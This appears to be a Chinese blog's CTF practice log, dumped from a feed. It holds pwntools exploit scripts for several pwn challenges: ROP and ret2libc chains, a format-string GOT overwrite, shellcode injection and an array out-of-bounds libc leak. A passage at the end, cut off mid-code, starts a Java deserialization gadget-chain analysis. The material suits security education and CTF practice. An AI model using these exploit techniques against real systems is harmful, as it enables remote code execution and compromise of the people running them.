def csu(rdi, rsi, rdx, rip, gadget) : return p64(gadget) + p64(0) + p64(1) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - 0x1a)
def get_32_addr():return u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
context(os='linux', arch='amd64')
if args['DEBUG']:
    context.log_level = 'debug'
context.terminal = ['tmux', 'splitw','-h']
if args['REMOTE']:
    ip = "node5.anna.nssctf.cn"
    port = 28134
    p = remote(ip, port)
else:
    p = process('./pwn')
    info("pid: {}".format(p.pid))
elf = ELF("./pwn")
#libc = ELF('./libc-2.23-x64.so')
# clibc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
rop = ROP("./pwn")
ret = rop.find_gadget(['ret'])[0]
rdi = rop.find_gadget(['pop rdi','ret'])[0]
info("ret addr : {:#x}".format(ret))
info("rdi addr : {:#x}".format(rdi))
offset = 0xC + 8
payload = cyclic(offset) + p64(0x401250)
sl(payload)
inter()

[watevrCTF 2019]Voting Machine 2

​image​

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from struct import pack
from ctypes import *
from pwn import *
def s(a) : p.send(a)
def sa(a, b) : p.sendafter(a, b)
def sl(a) : p.sendline(a)
def sla(a, b) : p.sendlineafter(a, b)
def r() : return p.recv()
def pr() : print(p.recv())
def rl(a) : return p.recvuntil(a)
def inter() : p.interactive()
def debug():
    gdb.attach(p)
    pause()
def get_addr() : return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
# def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def csu(rdi, rsi, rdx, rip, gadget) : return p64(gadget) + p64(0) + p64(1) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - 0x1a)
def get_32_addr():return u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
context(os='linux', arch='i386')
if args['DEBUG']:
    context.log_level = 'debug'
context.terminal = ['tmux', 'splitw','-h']
if args['REMOTE']:
    ip = "node5.anna.nssctf.cn"
    port = 24551
    p = remote(ip, port)
else:
    p = process('./pwn')
    info("pid: {}".format(p.pid))
elf = ELF("./pwn")
#libc = ELF('./libc-2.23-x64.so')
# clibc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
rop = ROP("./pwn")
ret = rop.find_gadget(['ret'])[0]
# rdi = rop.find_gadget(['pop rdi','ret'])[0]
info("ret addr : {:#x}".format(ret))
# info("rdi addr : {:#x}".format(rdi))
payload = 2 * b'a' + fmtstr_payload(8,{elf.got['puts']:elf.sym['super_secret_function']},numbwritten=2)
s(payload)
pr()

sl(b'cat flag')
p.recvuntil('lag')
flag = p.recv(44)
print(flag)
inter()

[HGAME 2023 week1]choose_the_seat

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
void __noreturn vuln()
{
  int v0; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v1; // [rsp+8h] [rbp-8h]

  v1 = __readfsqword(0x28u);
  puts("Here is the seat from 0 to 9, please choose one.");
  __isoc99_scanf("%d", &v0);
  if ( v0 > 9 )
  {
    printf("There is no such seat");
    exit(1);
  }
  puts("please input your name");
  read(0, &seats[16 * v0], 0x10uLL);
  printf("Your name is ");
  puts(&seats[16 * v0]);
  printf("Your seat is %d\n", v0);
  printf("Bye");
  exit(0);
}

数组越界

​image​

修改exit为_start循环

然后后一位为read

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from struct import pack
from ctypes import *
from pwn import *
def s(a) : p.send(a)
def sa(a, b) : p.sendafter(a, b)
def sl(a) : p.sendline(a)
def sla(a, b) : p.sendlineafter(a, b)
def r() : return p.recv()
def pr() : print(p.recv())
def rl(a) : return p.recvuntil(a)
def inter() : p.interactive()
def debug():
    gdb.attach(p)
    pause()
def get_addr() : return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
# def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def csu(rdi, rsi, rdx, rip, gadget) : return p64(gadget) + p64(0) + p64(1) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - 0x1a)
def get_32_addr():return u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
context(os='linux', arch='amd64')
if args['DEBUG']:
    context.log_level = 'debug'
context.terminal = ['tmux', 'splitw','-h']
if args['REMOTE']:
    ip = "node5.anna.nssctf.cn"
    port = 29296
    p = remote(ip, port)
else:
    p = process('./pwn')
    info("pid: {}".format(p.pid))
elf = ELF("./pwn")
libc = ELF('./libc-2.31.so')
# clibc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
rop = ROP("./pwn")
ret = rop.find_gadget(['ret'])[0]
rdi = rop.find_gadget(['pop rdi','ret'])[0]
info("ret addr : {:#x}".format(ret))
info("rdi addr : {:#x}".format(rdi))
sl("-6")
sa(b'name',p64(elf.symbols['main']))
sla(b'one.\n',b'-7') 
p.sendafter(b'name',b'\xc0') 
p.recvuntil(b'Your name is ')
libc_base=u64(p.recv(6)+b'\x00\x00')-libc.symbols['read']
print('libc_base:'+hex(libc_base))
system_addr=libc_base+libc.symbols['system']
p.sendlineafter(b'one.\n',b'-9') 
p.sendafter(b'name',b'/bin/sh\x00'+p64(system_addr))
p.interactive()


11.15

[SWPUCTF 2023 秋季新生赛]Shellcode

​image​

开启了PIE和Canary和RELRO

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
.text:00000000000011AD                 push    rbp
.text:00000000000011AE                 mov     rbp, rsp
.text:00000000000011B1                 sub     rsp, 70h
.text:00000000000011B5                 mov     rax, fs:28h
.text:00000000000011BE                 mov     [rbp+var_8], rax
.text:00000000000011C2                 xor     eax, eax
.text:00000000000011C4                 mov     rax, cs:stdout@@GLIBC_2_2_5
.text:00000000000011CB                 mov     esi, 0          ; buf
.text:00000000000011D0                 mov     rdi, rax        ; stream
.text:00000000000011D3                 call    _setbuf
.text:00000000000011D8                 mov     rax, cs:stderr@@GLIBC_2_2_5
.text:00000000000011DF                 mov     esi, 0          ; buf
.text:00000000000011E4                 mov     rdi, rax        ; stream
.text:00000000000011E7                 call    _setbuf
.text:00000000000011EC                 mov     rax, cs:stdin@@GLIBC_2_2_5
.text:00000000000011F3                 mov     esi, 0          ; buf
.text:00000000000011F8                 mov     rdi, rax        ; stream
.text:00000000000011FB                 call    _setbuf
.text:0000000000001200                 lea     rdi, s          ; "Hello! Welcome to the pwn world!"
.text:0000000000001207                 call    _puts
.text:000000000000120C                 lea     rdi, aDoYouKnowWhatS ; "Do you know what shellcode is?"
.text:0000000000001213                 call    _puts
.text:0000000000001218                 lea     rdi, aLetSHaveATry ; "Let's have a try!"
.text:000000000000121F                 call    _puts
.text:0000000000001224                 lea     rax, [rbp+buf]
.text:0000000000001228                 mov     edx, 64h ; 'd'  ; nbytes
.text:000000000000122D                 mov     rsi, rax        ; buf
.text:0000000000001230                 mov     edi, 0          ; fd
.text:0000000000001235                 call    _read
.text:000000000000123A                 lea     rax, [rbp+buf]
.text:000000000000123E                 call    rax
.text:0000000000001240                 mov     eax, 0
.text:0000000000001245                 mov     rcx, [rbp+var_8]
.text:0000000000001249                 xor     rcx, fs:28h
.text:0000000000001252                 jz      short locret_1259
.text:0000000000001254                 call    ___stack_chk_fail
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from struct import pack
from ctypes import *
from pwn import *
def s(a) : p.send(a)
def sa(a, b) : p.sendafter(a, b)
def sl(a) : p.sendline(a)
def sla(a, b) : p.sendlineafter(a, b)
def r() : return p.recv()
def pr() : print(p.recv())
def rl(a) : return p.recvuntil(a)
def inter() : p.interactive()
def debug():
    gdb.attach(p)
    pause()
def get_addr() : return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
# def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def csu(rdi, rsi, rdx, rip, gadget) : return p64(gadget) + p64(0) + p64(1) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - 0x1a)
def get_32_addr():return u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
context(os='linux', arch='amd64')
if args['DEBUG']:
    context.log_level = 'debug'
context.terminal = ['tmux', 'splitw','-h']
if args['REMOTE']:
    ip = "xxx"
    port = 1111
    p = remote(ip, port)
else:
    p = process('./pwn')
    info("pid: {}".format(p.pid))
elf = ELF("./pwn")
#libc = ELF('./libc-2.23-x64.so')
# clibc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
rop = ROP("./pwn")
ret = rop.find_gadget(['ret'])[0]
rdi = rop.find_gadget(['pop rdi','ret'])[0]
info("ret addr : {:#x}".format(ret))
info("rdi addr : {:#x}".format(rdi))
sl(asm(shellcraft.sh()))
inter()

11.16

[NSSRound#9 Basic]MyExec

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
.text:0000000000001325                 push    rbp
.text:0000000000001326                 mov     rbp, rsp
.text:0000000000001329                 sub     rsp, 10h
.text:000000000000132D ; 3:   init(argc, argv, envp);
.text:000000000000132D                 mov     eax, 0
.text:0000000000001332                 call    init
.text:0000000000001337 ; 4:   sandbox();
.text:0000000000001337                 mov     eax, 0
.text:000000000000133C                 call    sandbox
.text:0000000000001341 ; 5:   puts("test NSS sandbox");
.text:0000000000001341                 lea     rax, s          ; "test NSS sandbox"
.text:0000000000001348                 mov     rdi, rax        ; s
.text:000000000000134B                 call    _puts
.text:0000000000001350 ; 6:   mmap((void *)0x50000, 0x1000uLL, 7, 50, -1, 0LL);
.text:0000000000001350                 mov     r9d, 0          ; offset
.text:0000000000001356                 mov     r8d, 0FFFFFFFFh ; fd
.text:000000000000135C                 mov     ecx, 32h ; '2'  ; flags
.text:0000000000001361                 mov     edx, 7          ; prot
.text:0000000000001366                 mov     esi, 1000h      ; len
.text:000000000000136B                 mov     edi, 50000h     ; addr
.text:0000000000001370                 mov     eax, 0
.text:0000000000001375                 call    _mmap
.text:000000000000137A ; 7:   read(0, (void *)0x50000, 0x64uLL);
.text:000000000000137A                 cdqe
.text:000000000000137C                 mov     [rbp+var_8], rax
.text:0000000000001380                 mov     edx, 64h ; 'd'  ; nbytes
.text:0000000000001385                 mov     esi, 50000h     ; buf
.text:000000000000138A                 mov     edi, 0          ; fd
.text:000000000000138F                 call    _read
.text:0000000000001394 ; 8:   MEMORY[0x50000]();
.text:0000000000001394                 mov     eax, 0
.text:0000000000001399                 mov     edx, 50000h
.text:000000000000139E                 call    rdx
.text:00000000000013A0 ; 9:   return 0;
.text:00000000000013A0                 mov     eax, 0
.text:00000000000013A5                 leave
.text:00000000000013A6                 retn

ret2shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from struct import pack
from ctypes import *
from pwn import *
def s(a) : p.send(a)
def sa(a, b) : p.sendafter(a, b)
def sl(a) : p.sendline(a)
def sla(a, b) : p.sendlineafter(a, b)
def r() : return p.recv()
def pr() : print(p.recv())
def rl(a) : return p.recvuntil(a)
def inter() : p.interactive()
def debug():
    gdb.attach(p)
    pause()
def get_addr() : return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
# def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def csu(rdi, rsi, rdx, rip, gadget) : return p64(gadget) + p64(0) + p64(1) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - 0x1a)
def get_32_addr():return u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
context(os='linux', arch='amd64')
if args['DEBUG']:
    context.log_level = 'debug'
context.terminal = ['tmux', 'splitw','-h']
if args['REMOTE']:
    ip = "node5.anna.nssctf.cn"
    port = 21775
    p = remote(ip, port)
else:
    p = process('./pwn')
    info("pid: {}".format(p.pid))
elf = ELF("./pwn")
#libc = ELF('./libc-2.23-x64.so')
# clibc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
rop = ROP("./pwn")
ret = rop.find_gadget(['ret'])[0]
# rdi = rop.find_gadget(['pop rdi','ret'])[0]
info("ret addr : {:#x}".format(ret))
# info("rdi addr : {:#x}".format(rdi))
shellcode = asm(shellcraft.sh())
sl(shellcode)
inter()

[MoeCTF 2022]ret2libc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
.text:0000000000401183 buf             = byte ptr -40h
.text:0000000000401183
.text:0000000000401183 ; __unwind {
.text:0000000000401183                 endbr64
.text:0000000000401187                 push    rbp
.text:0000000000401188                 mov     rbp, rsp
.text:000000000040118B                 sub     rsp, 40h
.text:000000000040118F                 lea     rax, [rbp+buf]
.text:0000000000401193                 mov     edx, 70h ; 'p'  ; nbytes
.text:0000000000401198                 mov     rsi, rax        ; buf
.text:000000000040119B                 mov     edi, 0          ; fd
.text:00000000004011A0                 call    _read
.text:00000000004011A5                 nop
.text:00000000004011A6                 leave
.text:00000000004011A7                 retn

libc6_2.35-0ubuntu3.2_amd64

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from struct import pack
from ctypes import *
from pwn import *
def s(a) : p.send(a)
def sa(a, b) : p.sendafter(a, b)
def sl(a) : p.sendline(a)
def sla(a, b) : p.sendlineafter(a, b)
def r() : return p.recv()
def pr() : print(p.recv())
def rl(a) : return p.recvuntil(a)
def inter() : p.interactive()
def debug():
    gdb.attach(p)
    pause()
def get_addr() : return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
# def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def csu(rdi, rsi, rdx, rip, gadget) : return p64(gadget) + p64(0) + p64(1) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - 0x1a)
def get_32_addr():return u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
context(os='linux', arch='amd64')
if args['DEBUG']:
    context.log_level = 'debug'
context.terminal = ['tmux', 'splitw','-h']
if args['REMOTE']:
    ip = "node5.anna.nssctf.cn"
    port = 22681
    p = remote(ip, port)
else:
    p = process('./pwn')
    info("pid: {}".format(p.pid))
elf = ELF("./pwn")
#libc = ELF('./libc-2.23-x64.so')
# clibc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
rop = ROP("./pwn")
ret = rop.find_gadget(['ret'])[0]
rdi = rop.find_gadget(['pop rdi','ret'])[0]
info("ret addr : {:#x}".format(ret))
info("rdi addr : {:#x}".format(rdi))
offset = 0x40 + 8

payload1 = flat([cyclic(offset),rdi,elf.got['puts'],elf.plt['puts'],0x000000000401187])
sl(payload1)
puts_addr = get_addr()
success("puts: {:#x}".format(puts_addr))
libc_base = puts_addr - 0x80ed0
system = 0x50d60 + libc_base
str_bin_sh = 0x1d8698 + libc_base
payload2 = flat([cyclic(offset),ret,rdi,str_bin_sh,system])
sl(payload2)
# debug()
inter()

[MoeCTF 2021]ezROP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
.text:00000000004009A0                 push    rbp
.text:00000000004009A1                 mov     rbp, rsp
.text:00000000004009A4                 push    rbx
.text:00000000004009A5                 sub     rsp, 48h
.text:00000000004009A9 ; 7:   memset(s, 0, sizeof(s));
.text:00000000004009A9                 lea     rdx, [rbp+s]
.text:00000000004009AD                 mov     eax, 0
.text:00000000004009B2                 mov     ecx, 6
.text:00000000004009B7                 mov     rdi, rdx
.text:00000000004009BA                 rep stosq
.text:00000000004009BD ; 8:   v3 = 0;
.text:00000000004009BD                 mov     rdx, rdi
.text:00000000004009C0                 mov     [rdx], ax
.text:00000000004009C3 ; 9:   puts("Input your Plaintext to be encrypted");
.text:00000000004009C3                 add     rdx, 2
.text:00000000004009C7                 mov     edi, offset aInputYourPlain ; "Input your Plaintext to be encrypted"
.text:00000000004009CC                 call    _puts
.text:00000000004009D1 ; 10:   gets(s);
.text:00000000004009D1                 lea     rax, [rbp+s]
.text:00000000004009D5                 mov     rdi, rax
.text:00000000004009D8                 mov     eax, 0
.text:00000000004009DD                 call    _gets
.text:00000000004009E2                 jmp     loc_400AB4
.text:00000000004009E7 ; ---------------------------------------------------------------------------
.text:00000000004009E7 ; 16:     if ( s[x] <= 96 || s[x] > 122 )
.text:00000000004009E7
.text:00000000004009E7 loc_4009E7:                             ; CODE XREF: encrypt+12B↓j
.text:00000000004009E7                 mov     eax, cs:x
.text:00000000004009ED                 mov     eax, eax
.text:00000000004009EF                 movzx   eax, [rbp+rax+s]
.text:00000000004009F4                 cmp     al, 60h ; '`'
.text:00000000004009F6                 jle     short loc_400A27
.text:00000000004009F8                 mov     eax, cs:x
.text:00000000004009FE                 mov     eax, eax
.text:0000000000400A00                 movzx   eax, [rbp+rax+s]
.text:0000000000400A05                 cmp     al, 7Ah ; 'z'
.text:0000000000400A07                 jg      short loc_400A27
.text:0000000000400A09 ; 30:       s[x] ^= 0xEu;
.text:0000000000400A09                 mov     eax, cs:x
.text:0000000000400A0F                 mov     edx, cs:x
.text:0000000000400A15                 mov     edx, edx
.text:0000000000400A17                 movzx   edx, [rbp+rdx+s]
.text:0000000000400A1C                 xor     edx, 0Eh
.text:0000000000400A1F                 mov     eax, eax
.text:0000000000400A21                 mov     [rbp+rax+s], dl
.text:0000000000400A25                 jmp     short loc_400AA5
.text:0000000000400A27 ; ---------------------------------------------------------------------------
.text:0000000000400A27 ; 18:       if ( s[x] <= 64 || s[x] > 90 )
.text:0000000000400A27
.text:0000000000400A27 loc_400A27:                             ; CODE XREF: encrypt+56↑j
.text:0000000000400A27                                         ; encrypt+67↑j
.text:0000000000400A27                 mov     eax, cs:x
.text:0000000000400A2D                 mov     eax, eax
.text:0000000000400A2F                 movzx   eax, [rbp+rax+s]
.text:0000000000400A34                 cmp     al, 40h ; '@'
.text:0000000000400A36                 jle     short loc_400A67
.text:0000000000400A38                 mov     eax, cs:x
.text:0000000000400A3E                 mov     eax, eax
.text:0000000000400A40                 movzx   eax, [rbp+rax+s]
.text:0000000000400A45                 cmp     al, 5Ah ; 'Z'
.text:0000000000400A47                 jg      short loc_400A67
.text:0000000000400A49 ; 25:         s[x] ^= 0xDu;
.text:0000000000400A49                 mov     eax, cs:x
.text:0000000000400A4F                 mov     edx, cs:x
.text:0000000000400A55                 mov     edx, edx
.text:0000000000400A57                 movzx   edx, [rbp+rdx+s]
.text:0000000000400A5C                 xor     edx, 0Dh
.text:0000000000400A5F                 mov     eax, eax
.text:0000000000400A61                 mov     [rbp+rax+s], dl
.text:0000000000400A65                 jmp     short loc_400AA5
.text:0000000000400A67 ; ---------------------------------------------------------------------------
.text:0000000000400A67 ; 20:         if ( s[x] > 47 && s[x] <= 57 )
.text:0000000000400A67
.text:0000000000400A67 loc_400A67:                             ; CODE XREF: encrypt+96↑j
.text:0000000000400A67                                         ; encrypt+A7↑j
.text:0000000000400A67                 mov     eax, cs:x
.text:0000000000400A6D                 mov     eax, eax
.text:0000000000400A6F                 movzx   eax, [rbp+rax+s]
.text:0000000000400A74                 cmp     al, 2Fh ; '/'
.text:0000000000400A76                 jle     short loc_400AA5
.text:0000000000400A78                 mov     eax, cs:x
.text:0000000000400A7E                 mov     eax, eax
.text:0000000000400A80                 movzx   eax, [rbp+rax+s]
.text:0000000000400A85                 cmp     al, 39h ; '9'
.text:0000000000400A87                 jg      short loc_400AA5
.text:0000000000400A89 ; 21:           s[x] ^= 0xCu;
.text:0000000000400A89                 mov     eax, cs:x
.text:0000000000400A8F                 mov     edx, cs:x
.text:0000000000400A95                 mov     edx, edx
.text:0000000000400A97                 movzx   edx, [rbp+rdx+s]
.text:0000000000400A9C                 xor     edx, 0Ch
.text:0000000000400A9F                 mov     eax, eax
.text:0000000000400AA1                 mov     [rbp+rax+s], dl
.text:0000000000400AA5 ; 32:     ++x;
.text:0000000000400AA5
.text:0000000000400AA5 loc_400AA5:                             ; CODE XREF: encrypt+85↑j
.text:0000000000400AA5                                         ; encrypt+C5↑j ...
.text:0000000000400AA5                 mov     eax, cs:x
.text:0000000000400AAB                 add     eax, 1
.text:0000000000400AAE                 mov     cs:x, eax
.text:0000000000400AB4 ; 13:     v0 = (unsigned int)x;
.text:0000000000400AB4
.text:0000000000400AB4 loc_400AB4:                             ; CODE XREF: encrypt+42↑j
.text:0000000000400AB4                 mov     eax, cs:x
.text:0000000000400ABA ; 11:   while ( 1 )
.text:0000000000400ABA                 mov     ebx, eax
.text:0000000000400ABC ; 14:     if ( v0 >= strlen(s) )
.text:0000000000400ABC                 lea     rax, [rbp+s]
.text:0000000000400AC0                 mov     rdi, rax        ; s
.text:0000000000400AC3                 call    _strlen
.text:0000000000400AC8 ; 15:       break;
.text:0000000000400AC8                 cmp     rbx, rax
.text:0000000000400ACB                 jb      loc_4009E7
.text:0000000000400AD1 ; 34:   puts("Ciphertext");
.text:0000000000400AD1                 mov     edi, offset aCiphertext ; "Ciphertext"
.text:0000000000400AD6                 call    _puts
.text:0000000000400ADB ; 35:   return puts(s);
.text:0000000000400ADB                 lea     rax, [rbp+s]
.text:0000000000400ADF                 mov     rdi, rax        ; s
.text:0000000000400AE2                 call    _puts
.text:0000000000400AE7                 nop
.text:0000000000400AE8                 add     rsp, 48h
.text:0000000000400AEC                 pop     rbx
.text:0000000000400AED                 pop     rbp
.text:0000000000400AEE                 retn

libc6_2.23-0ubuntu11.3_amd64

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
from struct import pack
from ctypes import *
from pwn import *
from LibcSearcher import *
def s(a) : p.send(a)
def sa(a, b) : p.sendafter(a, b)
def sl(a) : p.sendline(a)
def sla(a, b) : p.sendlineafter(a, b)
def r() : return p.recv()
def pr() : print(p.recv())
def rl(a) : return p.recvuntil(a)
def inter() : p.interactive()
def debug():
    gdb.attach(p)
    pause()
def get_addr() : return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
# def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def csu(rdi, rsi, rdx, rip, gadget) : return p64(gadget) + p64(0) + p64(1) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - 0x1a)
def get_32_addr():return u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
context(os='linux', arch='amd64')
if args['DEBUG']:
    context.log_level = 'debug'
context.terminal = ['tmux', 'splitw','-h']
if args['REMOTE']:
    ip = "node5.anna.nssctf.cn"
    port = 22814
    p = remote(ip, port)
else:
    p = process('./pwn')
    info("pid: {}".format(p.pid))
elf = ELF("./pwn")
#libc = ELF('./libc-2.23-x64.so')
# clibc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
rop = ROP("./pwn")
ret = rop.find_gadget(['ret'])[0]
rdi = rop.find_gadget(['pop rdi','ret'])[0]
info("ret addr : {:#x}".format(ret))
info("rdi addr : {:#x}".format(rdi))
sl("1")
offset = 0x50 + 8

payload1 = flat([cyclic(offset),rdi,elf.got['puts'],elf.plt['puts'],0x4009A0])
sl(payload1)
rl('Ciphertext\n')
rl('\n')
puts = u64(p.recv(6).ljust(8,b'\x00'))
success("put: {:#x}".format(puts))

payload1 = flat([cyclic(offset),rdi,elf.got['gets'],elf.plt['puts'],0x4009A0])
sl(payload1)
rl('Ciphertext\n')
rl('\n')
gets = u64(p.recv(6).ljust(8,b'\x00'))
success("gets: {:#x}".format(gets))

# libc = LibcSearcher('puts',puts)

libc_base = puts - 0x6f6a0
system = 0x453a0 + libc_base
str_bin_sh = 0x18ce57 + libc_base
payload2 = flat([cyclic(offset),ret,rdi,str_bin_sh,system])
sl(payload2)
inter()
]]> <h1 id="NSSCTF刷题记录"><a href="#NSSCTF刷题记录" class="headerlink" title="NSSCTF刷题记录"></a>NSSCTF刷题记录</h1><h2 id="11-9"><a href="#11-9" class="head SHCTF-ezjava https://www.n1ght.cn/2024/11/09/SHCTF-ezjava/ 2024-11-09T10:00:00.000Z 2024-11-09T13:57:31.224Z 链尾来自于avss geekcon2024的old log，查找到一个链子去通往他，但是实例化成功了，无法查遍了Format都无法控制参数，于是手动patch了一个继承Format类使他的parseObject可控。

用codeql查询到漏洞利用链的过程就省略了

有反序列化，有springboot的jar包

测试环境

image-20241108144745-7zqot2v

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import com.sun.net.httpserver.HttpServer;

import javax.naming.InitialContext;
import java.io.IOException;

public class Main {

    public static void main(String[] args) throws IOException {
        var port = Integer.parseInt(System.getenv().getOrDefault("PORT", "8000"));
        var server = HttpServer.create(new java.net.InetSocketAddress(port), 0);
        server.createContext("/", req -> {
            var code = 200;
            var response = switch (req.getRequestURI().getPath()) {
                case "/der" -> {
                    try {
                        var param = req.getRequestURI().getQuery();
                        yield new java.io.ObjectInputStream(new java.io.ByteArrayInputStream(java.util.Base64.getDecoder().decode(param))).readObject().toString();
                    } catch (Throwable e) {
                        e.printStackTrace();
                        yield ":(";
                    }
                }
                default -> {
                    code = 404;
                    yield "Not found";
                }
            };
            req.sendResponseHeaders(code, 0);
            var os = req.getResponseBody();
            os.write(response.getBytes());
            os.close();
        });
        server.start();
        System.out.printf("Server listening on :%s\n", port);
    }

}

其中我加了一个类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.n1ght;

import java.text.FieldPosition;
import java.text.Format;
import java.text.ParsePosition;

public class StringFormat extends Format {
    private String str;

    public StringFormat(String str) {
        this.str = str;
    }

    public StringBuffer format(Object obj, StringBuffer toAppendTo, FieldPosition pos) {
        return (StringBuffer)obj;
    }

    public Object parseObject(String source, ParsePosition pos) {
        pos.setIndex(1);
        return source;
    }
}

当parseObject的时候返回任意字符串的值

链子分析

InternationalFormatter#readObject

1
2
3
4
5
6
@Serial
private void readObject(ObjectInputStream s)
    throws IOException, ClassNotFoundException {
    s.defaultReadObject();
    updateMaskIfNecessary();
}

调用了一个updateMaskIfNecessary

1
2
3
4
5
6
7
8
9
10
11
12
13
14
void updateMaskIfNecessary() {
    if (!getAllowsInvalid() && (getFormat() != null)) {
        if (!isValidMask()) {
            updateMask();
        }
        else {
            String newString = getFormattedTextField().getText();

            if (!newString.equals(string)) {
                updateMask();
            }
        }
    }
}

又调用了updateMask

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
void updateMask() {
    if (getFormat() != null) {
        Document doc = getFormattedTextField().getDocument();

        validMask = false;
        if (doc != null) {
            try {
                string = doc.getText(0, doc.getLength());
            } catch (BadLocationException ble) {
                string = null;
            }
            if (string != null) {
                try {
                    Object value = stringToValue(string);
                    AttributedCharacterIterator iterator = getFormat().
                              formatToCharacterIterator(value);

                    updateMask(iterator);
                }
                catch (ParseException pe) {}
                catch (IllegalArgumentException iae) {}
                catch (NullPointerException npe) {}
            }
        }
    }
}

发现调用了Object value = stringToValue(string);

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public Object stringToValue(String text) throws ParseException {
    Object value = stringToValue(text, getFormat());

    // Convert to the value class if the Value returned from the
    // Format does not match.
    if (value != null && getValueClass() != null &&
                         !getValueClass().isInstance(value)) {
        value = super.stringToValue(value.toString());
    }
    try {
        if (!isValidValue(value, true)) {
            throw new ParseException("Value not within min/max range", 0);
        }
    } catch (ClassCastException cce) {
        throw new ParseException("Class cast exception comparing values: "
                                 + cce, 0);
    }
    return value;
}

这时候发现调用到DefaultFormatter#stringToValue

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
public Object stringToValue(String string) throws ParseException {
    Class<?> vc = getValueClass();
    JFormattedTextField ftf = getFormattedTextField();

    if (vc == null && ftf != null) {
        Object value = ftf.getValue();

        if (value != null) {
            vc = value.getClass();
        }
    }
    if (vc != null) {
        Constructor<?> cons;

        try {
            ReflectUtil.checkPackageAccess(vc);
            SwingUtilities2.checkAccess(vc.getModifiers());
            cons = vc.getConstructor(new Class<?>[]{String.class});

        } catch (NoSuchMethodException nsme) {
            cons = null;
        }

        if (cons != null) {
            try {
                SwingUtilities2.checkAccess(cons.getModifiers());
